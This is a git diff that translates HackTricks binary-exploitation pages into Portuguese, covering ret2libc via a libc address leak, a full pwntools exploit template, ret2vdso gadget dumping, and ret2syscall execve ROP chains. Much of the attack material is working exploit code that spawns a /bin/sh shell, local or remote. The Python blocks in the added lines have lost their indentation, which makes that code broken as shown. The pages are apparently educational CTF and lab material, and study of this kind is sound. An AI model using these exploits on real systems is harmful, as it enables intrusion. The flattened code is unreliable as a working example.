-But, in a remote exploit case I will explain here how can you find it:
+Como estamos **explorando** um binário **local**, **não é necessário** descobrir qual versão da **libc** está sendo usada (basta encontrar a biblioteca em `/lib/x86_64-linux-gnu/libc.so.6`).\
+Mas, em um caso de exploit remoto, explicarei aqui como você pode encontrá-la:
 
-### 3.1- Searching for libc version (1)
+### 3.1- Procurando pela versão da libc (1)
 
-You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
-It will also allow you to download the discovered version of **libc**
+Você pode procurar qual biblioteca está sendo usada na página da web: [https://libc.blukat.me/](https://libc.blukat.me)\
+Isso também permitirá que você baixe a versão descoberta da **libc**
 
 ![](<../../../../images/image (221).png>)
 
-### 3.2- Searching for libc version (2)
+### 3.2- Procurando pela versão da libc (2)
 
-You can also do:
+Você também pode fazer:
 
 - `$ git clone https://github.com/niklasb/libc-database.git`
 - `$ cd libc-database`
 - `$ ./get`
 
-This will take some time, be patient.\
-For this to work we need:
+Isso levará algum tempo, seja paciente.\
+Para que isso funcione, precisamos:
 
-- Libc symbol name: `puts`
-- Leaked libc adddress: `0x7ff629878690`
-
-We can figure out which **libc** that is most likely used.
+- Nome do símbolo da libc: `puts`
+- Endereço da libc vazado: `0x7ff629878690`
 
+Podemos descobrir qual **libc** provavelmente está sendo usada.
 ```bash
 ./find puts 0x7ff629878690
 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
 archive-glibc (id libc6_2.23-0ubuntu11_amd64)
 ```
-
-We get 2 matches (you should try the second one if the first one is not working). Download the first one:
-
+Obtemos 2 correspondências (você deve tentar a segunda se a primeira não estiver funcionando). Baixe a primeira:
 ```bash
 ./download libc6_2.23-0ubuntu10_amd64
 Getting libc6_2.23-0ubuntu10_amd64
-  -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-  -> Downloading package
-  -> Extracting package
-  -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
+-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
+-> Downloading package
+-> Extracting package
+-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
 ```
+Copie a libc de `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` para o nosso diretório de trabalho.
 
-Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
-
-### 3.3- Other functions to leak
-
+### 3.3- Outras funções para vazar
 ```python
 puts
 printf
@@ -198,28 +181,24 @@ __libc_start_main
 read
 gets
 ```
+## 4- Encontrando o endereço da libc baseado e explorando
 
-## 4- Finding based libc address & exploiting
+Neste ponto, devemos saber qual a biblioteca libc utilizada. Como estamos explorando um binário local, usarei apenas: `/lib/x86_64-linux-gnu/libc.so.6`
 
-At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
+Então, no início de `template.py`, mude a variável **libc** para: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber`
 
-So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
-
-Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
-
-Inside the `get_addr`function the **base address of libc** is going to be calculated:
+Dando o **caminho** para a **biblioteca libc**, o restante do **exploit será calculado automaticamente**.
 
+Dentro da função `get_addr`, o **endereço base da libc** será calculado:
 ```python
 if libc != "":
-    libc.address = leak - libc.symbols[func_name] #Save libc base
-    log.info("libc base @ %s" % hex(libc.address))
+libc.address = leak - libc.symbols[func_name] #Save libc base
+log.info("libc base @ %s" % hex(libc.address))
 ```
-
 > [!NOTE]
-> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
-
-Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
+> Note que **o endereço base final da libc deve terminar em 00**. Se esse não for o seu caso, você pode ter vazado uma biblioteca incorreta.
 
+Então, o endereço da função `system` e o **endereço** da string _"/bin/sh"_ serão **calculados** a partir do **endereço base** da **libc** e dada a **biblioteca libc.**
 ```python
 BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
 SYSTEM = libc.sym["system"]
@@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
 log.info("bin/sh %s " % hex(BINSH))
 log.info("system %s " % hex(SYSTEM))
 ```
-
-Finally, the /bin/sh execution exploit is going to be prepared sent:
-
+Finalmente, a exploração da execução de /bin/sh será preparada e enviada:
 ```python
 rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
 
@@ -240,65 +217,56 @@ p.sendline(rop2)
 #### Interact with the shell #####
 p.interactive() #Interact with the conenction
 ```
+Vamos explicar este ROP final.\
+O último ROP (`rop1`) terminou chamando novamente a função main, então podemos **explorar novamente** o **overflow** (é por isso que o `OFFSET` está aqui novamente). Então, queremos chamar `POP_RDI` apontando para o **endereço** de _"/bin/sh"_ (`BINSH`) e chamar a função **system** (`SYSTEM`) porque o endereço de _"/bin/sh"_ será passado como um parâmetro.\
+Finalmente, o **endereço da função exit** é **chamado** para que o processo **saia de forma adequada** e nenhum alerta seja gerado.
 
-Let's explain this final ROP.\
-The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
-Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
-
-**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
+**Dessa forma, o exploit executará um \_/bin/sh**\_\*\* shell.\*\*
 
 ![](<../../../../images/image (165).png>)
 
-## 4(2)- Using ONE_GADGET
+## 4(2)- Usando ONE_GADGET
 
-You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
-However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
+Você também pode usar [**ONE_GADGET** ](https://github.com/david942j/one_gadget) para obter um shell em vez de usar **system** e **"/bin/sh". ONE_GADGET** encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um **endereço ROP**.\
+No entanto, normalmente há algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
 
 ![](<../../../../images/image (754).png>)
-
 ```python
 ONE_GADGET = libc.address + 0x4526a
 rop2 = base + p64(ONE_GADGET) + "\x00"*100
 ```
+## ARQUIVO DE EXPLOIT
 
-## EXPLOIT FILE
-
-You can find a template to exploit this vulnerability here:
+Você pode encontrar um modelo para explorar essa vulnerabilidade aqui:
 
 {{#ref}}
 rop-leaking-libc-template.md
 {{#endref}}
 
-## Common problems
+## Problemas comuns
 
-### MAIN_PLT = elf.symbols\['main'] not found
-
-If the "main" symbol does not exist. Then you can find where is the main code:
+### MAIN_PLT = elf.symbols\['main'] não encontrado
 
+Se o símbolo "main" não existir. Então você pode encontrar onde está o código principal:
 ```python
 objdump -d vuln_binary | grep "\.text"
 Disassembly of section .text:
 0000000000401080 <.text>:
 ```
-
-and set the address manually:
-
+e defina o endereço manualmente:
 ```python
 MAIN_PLT = 0x401080
 ```
+### Puts não encontrado
 
-### Puts not found
+Se o binário não estiver usando Puts, você deve verificar se está usando
 
-If the binary is not using Puts you should check if it is using
+### `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
 
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-Try to **subtract 64 bytes to the address of "/bin/sh"**:
+Se você encontrar este **erro** após criar **todo** o exploit: `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
 
+Tente **subtrair 64 bytes do endereço de "/bin/sh"**:
 ```python
 BINSH = next(libc.search("/bin/sh")) - 64
 ```
-
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index def2864f4..09161762e 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -1,11 +1,6 @@
-# Leaking libc - template
+# Vazamento de libc - modelo
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-

-
-{% embed url="https://websec.nl/" %}
-
 ```python:template.py
 from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64  # Import pwntools
 
@@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
 ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
 
 if LOCAL:
-    P = process(LOCAL_BIN, env=ENV) # start the vuln binary
-    ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
-    ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+P = process(LOCAL_BIN, env=ENV) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
 
 elif REMOTETTCP:
-    P = remote('10.10.10.10',1339) # start the vuln binary
-    ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
-    ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+P = remote('10.10.10.10',1339) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
 
 elif REMOTESSH:
-    ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
-    p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
-    elf = ELF(LOCAL_BIN)# Extract data from binary
-    rop = ROP(elf)# Find ROP gadgets
+ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
+elf = ELF(LOCAL_BIN)# Extract data from binary
+rop = ROP(elf)# Find ROP gadgets
 
 if GDB and not REMOTETTCP and not REMOTESSH:
-    # attach gdb and continue
-    # You can set breakpoints, for example "break *main"
-    gdb.attach(P.pid, "b *main")
+# attach gdb and continue
+# You can set breakpoints, for example "break *main"
+gdb.attach(P.pid, "b *main")
 
 
 
@@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
 
 OFFSET = b"" #b"A"*264
 if OFFSET == b"":
-    gdb.attach(P.pid, "c") #Attach and continue
-    payload = cyclic(264)
-    payload += b"AAAAAAAA"
-    print(P.clean())
-    P.sendline(payload)
-    #x/wx $rsp -- Search for bytes that crashed the application
-    #print(cyclic_find(0x63616171)) # Find the offset of those bytes
-    P.interactive()
-    exit()
+gdb.attach(P.pid, "c") #Attach and continue
+payload = cyclic(264)
+payload += b"AAAAAAAA"
+print(P.clean())
+P.sendline(payload)
+#x/wx $rsp -- Search for bytes that crashed the application
+#print(cyclic_find(0x63616171)) # Find the offset of those bytes
+P.interactive()
+exit()
 
 
 
@@ -69,11 +64,11 @@ if OFFSET == b"":
 ### Find Gadgets ###
 ####################
 try:
-    libc_func = "puts"
-    PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
+libc_func = "puts"
+PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
 except:
-    libc_func = "printf"
-    PUTS_PLT = ELF_LOADED.plt['printf']
+libc_func = "printf"
+PUTS_PLT = ELF_LOADED.plt['printf']
 
 MAIN_PLT = ELF_LOADED.symbols['main']
 POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
 ########################
 
 def generate_payload_aligned(rop):
-    payload1 = OFFSET + rop
-    if (len(payload1) % 16) == 0:
-        return payload1
+payload1 = OFFSET + rop
+if (len(payload1) % 16) == 0:
+return payload1
 
-    else:
-        payload2 = OFFSET + p64(RET) + rop
-        if (len(payload2) % 16) == 0:
-            log.info("Payload aligned successfully")
-            return payload2
-        else:
-            log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
-            return payload1
+else:
+payload2 = OFFSET + p64(RET) + rop
+if (len(payload2) % 16) == 0:
+log.info("Payload aligned successfully")
+return payload2
+else:
+log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
+return payload1
 
 
 def get_addr(libc_func):
-    FUNC_GOT = ELF_LOADED.got[libc_func]
-    log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
-    # Create rop chain
-    rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
-    rop1 = generate_payload_aligned(rop1)
+FUNC_GOT = ELF_LOADED.got[libc_func]
+log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
+# Create rop chain
+rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+rop1 = generate_payload_aligned(rop1)
 
-    # Send our rop-chain payload
-    #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
-    print(P.clean()) # clean socket buffer (read all and print)
-    P.sendline(rop1)
+# Send our rop-chain payload
+#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
+print(P.clean()) # clean socket buffer (read all and print)
+P.sendline(rop1)
 
-    # If binary is echoing back the payload, remove that message
-    recieved = P.recvline().strip()
-    if OFFSET[:30] in recieved:
-        recieved = P.recvline().strip()
+# If binary is echoing back the payload, remove that message
+recieved = P.recvline().strip()
+if OFFSET[:30] in recieved:
+recieved = P.recvline().strip()
 
-    # Parse leaked address
-    log.info(f"Len rop1: {len(rop1)}")
-    leak = u64(recieved.ljust(8, b"\x00"))
-    log.info(f"Leaked LIBC address,  {libc_func}: {hex(leak)}")
+# Parse leaked address
+log.info(f"Len rop1: {len(rop1)}")
+leak = u64(recieved.ljust(8, b"\x00"))
+log.info(f"Leaked LIBC address,  {libc_func}: {hex(leak)}")
 
-    # Set lib base address
-    if LIBC:
-        LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
-        print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
-        log.info("LIBC base @ %s" % hex(LIBC.address))
+# Set lib base address
+if LIBC:
+LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
+print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
+log.info("LIBC base @ %s" % hex(LIBC.address))
 
-    # If not LIBC yet, stop here
-    else:
-        print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
-        P.interactive()
+# If not LIBC yet, stop here
+else:
+print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
+P.interactive()
 
-    return hex(leak)
+return hex(leak)
 
 get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
 
@@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
 ## Via One_gadget (https://github.com/david942j/one_gadget)
 # gem install one_gadget
 def get_one_gadgets(libc):
-        import string, subprocess
-	args = ["one_gadget", "-r"]
-	if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
-		args += ["-b", libc.hex()]
-	else:
-		args += [libc]
-	try:
-	    one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
-	except:
-	    print("One_gadget isn't installed")
-	    one_gadgets = []
-	return
+import string, subprocess
+args = ["one_gadget", "-r"]
+if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
+args += ["-b", libc.hex()]
+else:
+args += [libc]
+try:
+one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
+except:
+print("One_gadget isn't installed")
+one_gadgets = []
+return
 
 rop2 = b""
 if USE_ONE_GADGET:
-    one_gadgets = get_one_gadgets(LIBC)
-    if one_gadgets:
-        rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
+one_gadgets = get_one_gadgets(LIBC)
+if one_gadgets:
+rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
 
 ## Normal/Long exploitation
 if not rop2:
-    BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
-    SYSTEM = LIBC.sym["system"]
-    EXIT = LIBC.sym["exit"]
+BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
+SYSTEM = LIBC.sym["system"]
+EXIT = LIBC.sym["exit"]
 
-    log.info("POP_RDI %s " % hex(POP_RDI))
-    log.info("bin/sh %s " % hex(BINSH))
-    log.info("system %s " % hex(SYSTEM))
-    log.info("exit %s " % hex(EXIT))
+log.info("POP_RDI %s " % hex(POP_RDI))
+log.info("bin/sh %s " % hex(BINSH))
+log.info("system %s " % hex(SYSTEM))
+log.info("exit %s " % hex(EXIT))
 
-    rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
-    rop2 = generate_payload_aligned(rop2)
+rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
+rop2 = generate_payload_aligned(rop2)
 
 
 print(P.clean())
@@ -189,41 +184,30 @@ P.sendline(rop2)
 
 P.interactive() #Interact with your shell :)
 ```
+## Problemas comuns
 
-## Common problems
-
-### MAIN_PLT = elf.symbols\['main'] not found
-
-If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
+### MAIN_PLT = elf.symbols\['main'] não encontrado
 
+Se o símbolo "main" não existir (provavelmente porque é um binário removido). Então você pode apenas encontrar onde está o código principal:
 ```python
 objdump -d vuln_binary | grep "\.text"
 Disassembly of section .text:
 0000000000401080 <.text>:
 ```
-
-and set the address manually:
-
+e defina o endereço manualmente:
 ```python
 MAIN_PLT = 0x401080
 ```
+### Puts não encontrado
 
-### Puts not found
+Se o binário não estiver usando Puts, você deve **verificar se está usando**
 
-If the binary is not using Puts you should **check if it is using**
+### `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
 
-### `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-Try to **subtract 64 bytes to the address of "/bin/sh"**:
+Se você encontrar este **erro** após criar **todo** o exploit: `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
 
+Tente **subtrair 64 bytes do endereço de "/bin/sh"**:
 ```python
 BINSH = next(libc.search("/bin/sh")) - 64
 ```
-
-

-
-{% embed url="https://websec.nl/" %}
-
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
index a3a6c9ed5..9d49cf548 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
@@ -2,12 +2,11 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
-
-Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
+Pode haver **gadgets na região vDSO**, que é usada para mudar do modo usuário para o modo kernel. Neste tipo de desafios, geralmente uma imagem do kernel é fornecida para despejar a região vDSO.
 
+Seguindo o exemplo de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) é possível ver como foi possível despejar a seção vdso e movê-la para o host com:
 ```bash
 # Find addresses
 cat /proc/76/maps
@@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso
 file vdso
 ROPgadget --binary vdso | grep 'int 0x80'
 ```
-
-ROP gadgets found:
-
+Gadgets ROP encontrados:
 ```python
 vdso_addr = 0xf7ffc000
 
@@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
 # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
 pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
 ```
-
 > [!CAUTION]
-> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
+> Note que pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
 
 ### ARM64
 
-After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
+Após despejar e verificar a seção vdso de um binário no kali 2023.2 arm64, não consegui encontrar lá nenhum gadget interessante (sem forma de controlar registradores a partir de valores na pilha ou controlar x30 para um ret) **exceto uma forma de chamar um SROP**. Confira mais informações no exemplo da página:
 
 {{#ref}}
 srop-sigreturn-oriented-programming/srop-arm64.md
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 444927dfd..a0b36c7b0 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -2,26 +2,25 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
+Isso é semelhante ao Ret2lib, no entanto, neste caso, não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall `sys_execve` com alguns argumentos para executar `/bin/sh`. Essa técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.
 
-In order to prepare the call for the **syscall** it's needed the following configuration:
+Para preparar a chamada para a **syscall**, é necessária a seguinte configuração:
 
-- `rax: 59 Specify sys_execve`
-- `rdi: ptr to "/bin/sh" specify file to execute`
-- `rsi: 0 specify no arguments passed`
-- `rdx: 0 specify no environment variables passed`
+- `rax: 59 Especificar sys_execve`
+- `rdi: ptr para "/bin/sh" especificar arquivo a ser executado`
+- `rsi: 0 especificar nenhum argumento passado`
+- `rdx: 0 especificar nenhuma variável de ambiente passada`
 
-So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
+Então, basicamente, é necessário escrever a string `/bin/sh` em algum lugar e, em seguida, realizar a `syscall` (estando ciente do padding necessário para controlar a pilha). Para isso, precisamos de um gadget para escrever `/bin/sh` em uma área conhecida.
 
 > [!TIP]
-> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> Outra syscall interessante para chamar é **`mprotect`**, que permitiria a um atacante **modificar as permissões de uma página na memória**. Isso pode ser combinado com [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
 
-## Register gadgets
-
-Let's start by finding **how to control those registers**:
+## Gadgets de Registro
 
+Vamos começar encontrando **como controlar esses registradores**:
 ```bash
 ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
 0x0000000000415664 : pop rax ; ret
@@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
 0x00000000004101f3 : pop rsi ; ret
 0x00000000004498b5 : pop rdx ; ret
 ```
+Com esses endereços, é possível **escrever o conteúdo na pilha e carregá-lo nos registradores**.
 
-With these addresses it's possible to **write the content in the stack and load it into the registers**.
+## Escrever string
 
-## Write string
-
-### Writable memory
-
-First you need to find a writable place in the memory
+### Memória gravável
 
+Primeiro, você precisa encontrar um lugar gravável na memória.
 ```bash
 gef> vmmap
 [ Legend:  Code | Heap | Stack ]
@@ -46,26 +43,20 @@ Start              End                Offset             Perm Path
 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
 ```
+### Escrever String na memória
 
-### Write String in memory
-
-Then you need to find a way to write arbitrary content in this address
-
+Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço.
 ```python
 ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
 mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
 ```
+### Automatizar cadeia ROP
 
-### Automate ROP chain
-
-The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
-
+O seguinte comando cria uma cadeia ROP completa `sys_execve` dado um binário estático quando há gadgets write-what-where e instruções syscall:
 ```bash
 ROPgadget --binary vuln --ropchain
 ```
-
 #### 32 bits
-
 ```python
 '''
 Lets write "/bin/sh" to 0x6b6000
@@ -87,9 +78,7 @@ rop += popRax
 rop += p32(0x6b6000 + 4)
 rop += writeGadget
 ```
-
 #### 64 bits
-
 ```python
 '''
 Lets write "/bin/sh" to 0x6b6000
@@ -105,17 +94,15 @@ rop += popRax
 rop += p64(0x6b6000) # Writable memory
 rop += writeGadget #Address to: mov qword ptr [rax], rdx
 ```
+## Gadgets Faltando
 
-## Lacking Gadgets
-
-If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
+Se você está **sem gadgets**, por exemplo, para escrever `/bin/sh` na memória, você pode usar a **técnica SROP para controlar todos os valores dos registradores** (incluindo RIP e registradores de parâmetros) a partir da pilha:
 
 {{#ref}}
 ../srop-sigreturn-oriented-programming/
 {{#endref}}
 
-## Exploit Example
-
+## Exemplo de Exploit
 ```python
 from pwn import *
 
@@ -182,14 +169,13 @@ target.sendline(payload)
 
 target.interactive()
 ```
-
-## Other Examples & References
+## Outros Exemplos & Referências
 
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
-  - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
+- 64 bits, sem PIE, nx, escrever em alguma memória um ROP para chamar `execve` e pular para lá.
 - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
-  - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
+- 64 bits, nx, sem PIE, escrever em alguma memória um ROP para chamar `execve` e pular para lá. Para escrever na pilha, uma função que realiza operações matemáticas é abusada.
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-  - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
+- 64 bits, sem PIE, nx, canário BF, escrever em alguma memória um ROP para chamar `execve` e pular para lá.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
index 5b912eab8..f7245c1cd 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -2,80 +2,73 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Find an introduction to arm64 in:
+Encontre uma introdução ao arm64 em:
 
 {{#ref}}
 ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}
 
-## Code
+## Código
 
-We are going to use the example from the page:
+Vamos usar o exemplo da página:
 
 {{#ref}}
 ../../stack-overflow/ret2win/ret2win-arm64.md
 {{#endref}}
-
 ```c
 #include 
 #include 
 
 void win() {
-    printf("Congratulations!\n");
+printf("Congratulations!\n");
 }
 
 void vulnerable_function() {
-    char buffer[64];
